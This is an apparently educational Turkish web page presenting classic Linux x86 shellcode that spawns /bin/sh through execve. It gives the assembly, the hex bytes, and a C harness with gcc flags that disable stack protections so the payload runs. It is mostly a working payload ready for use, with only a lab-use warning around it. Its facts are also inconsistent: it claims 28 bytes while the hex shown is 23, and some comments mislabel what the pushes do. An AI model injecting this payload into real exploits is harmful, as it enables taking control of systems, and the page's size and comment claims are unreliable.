Linux/x86 execve(/bin/sh) Shellcode - 28 Bytes (Klasik)

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-emerald-500 pl-5 py-3 bg-emerald-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-emerald-700 mb-1">Klasik Shellcode - Linux x86 - 28 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x86 execve(/bin/sh) - 28 Bytes</h2>
    <p class="text-sm text-slate-600 mt-2">Shellcode dunyasinin Hello World'u sayilan bu kod, Linux x86 sistemlerinde execve sistem cagrisini kullanarak /bin/sh kabugunu baslatir. Tum shellcode yazimi ogreniminin baslangic noktasidir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Assembly Kaynak Kodu</h3>
    <p class="text-sm text-slate-700 mb-3">Assembly kodunu satir satir inceleyelim. xor eax,eax ile eax sifirlanir - bu NULL byte icermeden 0 degeri elde etmenin standart yontemidir.</p>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
section .text
global _start
_start:
    xor  eax, eax        ; eax = 0 (NULL byte onlemek icin)
    push eax             ; argv[1] = NULL
    push 0x68732f2f      ; //sh  little endian
    push 0x6e69622f      ; /bin
    mov  ebx, esp        ; ebx = /bin//sh pointer
    push eax             ; envp = NULL
    push ebx             ; argv[0] = /bin//sh
    mov  ecx, esp        ; ecx = argv pointer
    mov  al,  11         ; syscall no: execve = 11 (0x0b)
    int  0x80            ; kernel interrupt
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Hex Opcode</h3>
    <p class="text-sm text-slate-700 mb-3">Bu hex dizisi dogrudan bellege yazilip calistirilabilir.</p>
    <div class="bg-slate-900 text-emerald-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Boyut: 28 bytes
\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\xb0\x0b\xcd\x80
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">C ile Test (Lab)</h3>
    <p class="text-sm text-slate-700 mb-3">Test ederken -z execstack bayragi ile stack calistirilabilir yapilir. Modern sistemlerde NX/DEP bunu engeller.</p>
    <div class="bg-slate-900 text-cyan-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
/* UYARI: Yalnizca izolated lab ortaminda test edin */
#include <stdio.h>
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
            "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
            "\x53\x89\xe1\xb0\x0b\xcd\x80";
int main() {
    printf("Boyut: %zu bytes\n", sizeof(sc)-1);
    ((void(*)())sc)();
}
/* gcc -m32 -z execstack -fno-stack-protector test.c -o test */
    </div>
  </div>
  <div class="bg-amber-50 border border-amber-200 rounded-xl p-4"><p class="text-xs font-bold text-amber-800 mb-1">UYARI Egitim Amacli</p><p class="text-xs text-amber-700">Bu shellcode yalnizca izinli lab ortamlarinda kullanilabiir.</p></div>
</div>